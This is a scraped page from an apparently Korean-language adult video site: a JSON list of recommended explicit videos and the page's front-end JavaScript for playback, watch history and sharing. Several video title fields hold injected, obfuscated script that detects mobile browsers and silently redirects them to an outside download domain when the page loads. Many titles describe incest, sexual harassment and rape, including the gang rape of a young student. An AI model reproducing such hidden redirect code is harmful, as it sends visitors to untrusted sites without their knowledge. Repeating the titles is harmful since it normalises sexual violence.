추천 영상
16:27
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>OVANTR: 누나 콤플렉스를 가진 남동생과 누나의 이상한 첫 만남</title></script></title></script>
02:00:01
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>정액 삼키는 걸 좋아해요. 순수한 섹스 파트너 슈퍼 슬럿 NACR-745-C
01:33
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>팬츠시 시라누이 마이 페이탈 뷰티 풀 4K 울트라 HD 워터마크 없음
OVANTR: 누나 콤플렉스를 가진 남동생과 누나의 이상한 첫 만남","lastmod":"2026-07-11","duration":"16:27","url":"/play/19162159.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmNhNWJiMWU2YjJmZjk5YzU0MTJkODQyMzYxNzU4MzguanBn.cache","vod_id":19008814,"title":"PGD763 짧은 머리에 음탕한 언니 사쿠라이 아유.","lastmod":"2025-03-24","duration":"01:58:25","url":"/play/19008814.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMzMxZDA4MjljNDViYmE0MDRiMzNmODJhODk1ZGZlYjMuanBn.cache","vod_id":19156352,"title":"샤오 첸은 예쁜 Z세대 여성을 찾기 위해 값비싼 온라인 데이트 서비스를 이용한다.","lastmod":"2026-05-03","duration":"49:33","url":"/play/19156352.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZDA4ZTAwZWM1OTJiZDUxNWNlY2JkOTJmYjYzODVhN2EuanBn.cache","vod_id":19018978,"title":"검은 스타킹과 란제리를 입은 젊은 여성이 남자친구와 성관계를 가졌는데, 구강성교와 정액을 삼키는 행위가 매우 흥분되는 장면이었다.","lastmod":"2025-03-24","duration":"12:30","url":"/play/19018978.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTNkM2FmOTlmMTkzZjI3NDE1NjUwMzhlMTVhOTJkYWIuanBn.cache","vod_id":19143283,"title":"동생의 아내, 쓸모없는 형의 뒤틀린 질투 YMDD-474","lastmod":"2026-02-14","duration":"02:01:06","url":"/play/19143283.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNWIyMTYxYWE5ZDNlNjFmYzMzNDIwYTNkNTBlMGI3ZWQuanBn.cache","vod_id":18973983,"title":"[무삭제판] SNIS-397 강간당할 거야. ~누나가 남동생과 사랑에 빠지는 이야기~ 엔젤 모에","lastmod":"2025-03-23","duration":"02:31:03","url":"/play/18973983.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODhlYmQ2NTgxMWQ3ZDBjMjFiYTc0MWMyYzk5N2E5NDAuanBn.cache","vod_id":18964487,"title":"JUFD-872 한 달 동안 성관계나 자위가 금지된 후, 그녀의 성욕이 깨어났고, 크림 파이 오르가즘 동안 온몸이 흠뻑 젖었다 - 사쿠라 니코","lastmod":"2025-12-14","duration":"02:53:07","url":"/play/18964487.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNmE4YThlMmE5YWM2M2VmOTMxNjNjYTg1YjcxZGFjNDAuanBn.cache","vod_id":19163464,"title":"
정액 삼키는 걸 좋아해요. 순수한 섹스 파트너 슈퍼 슬럿 NACR-745-C","lastmod":"2026-07-11","duration":"02:00:01","url":"/play/19163464.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvM2I4ZDQ4NDRjN2MyYzkwZWFkZTg4MWRhOTRiMGZhMDUuanBn.cache","vod_id":18943369,"title":"OYC-258_B 젊은 시간제 주부인 그녀는 매니저로부터 매일같이 끊임없는 유두 희롱과 성희롱에 시달립니다. 그녀는 자신도 모르게 앞으로 닥칠 괴롭힘을 예상하며 유두가 발기하기 시작합니다. 성희롱이 계속될수록 그녀의 유두는 자신도 모르게 더욱 발달하고, 결국 그녀는 완전히 성욕 과다증 환자가 되어 버립니다! 파트 2","lastmod":"2025-12-14","duration":"01:36:00","url":"/play/18943369.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZTEzODY3N2U5NjRlOGMyYjVhMmI3ZDVlN2Q1YzcyY2YuanBn.cache","vod_id":18992086,"title":"BLK-410 언니가 없는 동안 그녀는 집에 와서 잘생긴 남자친구와 사흘 동안 섹스를 즐겼다. (편집자 Z, 미즈키 나기사 1)","lastmod":"2025-03-23","duration":"02:40:20","url":"/play/18992086.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjlhNGVkZjMwOWQzZjk3YTQxNmZmYjYxYWE2MTgwNDIuanBn.cache","vod_id":18974520,"title":"[중국어 자막] HODV-21759 여자친구의 언니가 성욕이 왕성해서 풍만한 엉덩이를 내 위에 꾹 누르고 있어! 미친듯이 섹스하고 있어!","lastmod":"2025-12-14","duration":"02:01:13","url":"/play/18974520.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjFmYzZkZjE0NTE5Nzg0MTFhZThhODE2YWIyZjliNjkuanBn.cache","vod_id":19021407,"title":"그녀의 가슴은 정말이지 환상적이에요. 이 날씬한 소녀가 옷을 벗었을 때 비로소 얼마나 큰지 알 수 있죠.","lastmod":"2025-03-24","duration":"55:31","url":"/play/19021407.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjQzZWRiNDBlOTFmYTI5ZGMwNmJiNjY2N2JjNmQ3ZTguanBn.cache","vod_id":18987504,"title":"VENU-997 마리아 나가이: 한 어머니가 아버지 몰래 아들에게 은밀히 속삭이며 그를 유혹하려 한다.","lastmod":"2025-03-23","duration":"01:46:35","url":"/play/18987504.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMWEwZWM1MWIwMDUyYTc0YTliOTM1YjE4NjNiMzJhYTAuanBn.cache","vod_id":18952271,"title":"STARS-054 히나타 코이즈미와 그녀의 가슴 크고 음탕한 언니의 은밀한 근친상간 관계, 언니가 내 성기를 비틀고 만지작거렸다","lastmod":"2025-03-22","duration":"01:40:12","url":"/play/18952271.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjllYzY2ZWEyNDA4Y2RhNjhhZjFlZTNhNjllM2E2MDUuanBn.cache","vod_id":19019354,"title":"내 여동생은 성욕이 왕성한 매력적인 여자야.","lastmod":"2025-03-24","duration":"02:07:48","url":"/play/19019354.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNjhkMTNiY2UzMTQ0OWE4MmEyNjQzNWRjZjUzNGIyOGUuanBn.cache","vod_id":18966847,"title":"733CLT-008 야구 주먹: 여동생은 음란하고, 남동생은 숫총각, 근친상간 사정","lastmod":"2025-03-22","duration":"01:01:06","url":"/play/18966847.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzAxOGFiMzFiYWM4YWE4MDU3ZTg0NTQ0MzJjMWRiYzkuanBn.cache","vod_id":18994941,"title":"누나가 일하는 동안 남동생이 몰래 뒤에서 누나에게 접근했다. (\"가족 판타지 시리즈\" 시즌 6: E등급!)","lastmod":"2025-12-14","duration":"26:15","url":"/play/18994941.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODdmNGQwMDMwMjFmZWU1ZWI5N2RmMWEyMDc4YzI4ODcuanBn.cache","vod_id":18990141,"title":"[과일 파이] 부모님의 출장 후 남매의 동거 생활.","lastmod":"2025-12-14","duration":"10:45","url":"/play/18990141.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTMyYWJlNDEyZjdhZjM3NTRiMjU3Y2ZmOWJjYzY1ZTMuanBn.cache","vod_id":19003237,"title":"[과일 파이] 속보!! 인간이 아닌 미녀와 성관계를 갖는 영상이 온라인에서 폭발적인 인기를 끌고 있다!!! 1","lastmod":"2025-03-23","duration":"10:58","url":"/play/19003237.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMzFmOWEyNTg5MGJjNDM2ODU0OTc3ZGVhYTMyZWQ3NjguanBn.cache","vod_id":18946099,"title":"SHKD-522 부끄러운 학생 교사 4 쿠로카와 유라","lastmod":"2025-12-14","duration":"01:43:43","url":"/play/18946099.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODg2ODAyYjM3N2RkMDQ4ZjM0OTJjZjYwMDIzNzk5OGYuanBn.cache","vod_id":19155562,"title":"어린 남학생이 여러 명의 변태적인 선배들에게 잔혹하게 집단 강간당하고 순결을 잃었습니다.","lastmod":"2026-04-28","duration":"09:05","url":"/play/19155562.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMmRhMDZkMDFkMTY0YzJjMDMxYTY3OWZjNWM1NTBjNTcuanBn.cache","vod_id":19163794,"title":"팬츠시 시라누이 마이 페이탈 뷰티 풀 4K 울트라 HD 워터마크 없음","lastmod":"2026-07-11","duration":"01:33","url":"/play/19163794.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvN2FjNzE5OWMwNDZjYWM2YjE0Zjg1Y2IxZjZhODQzNDMuanBn.cache","vod_id":19021120,"title":"제 언니는 부지런한 가정주부입니다.","lastmod":"2025-03-24","duration":"01:45:40","url":"/play/19021120.html"}]},
videoTitle: '부모님이 몰랐던 사실... 남매의 구강성교. 사리나 하쿠나, 사리나 쿠로카와. DVDMS-889-C',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}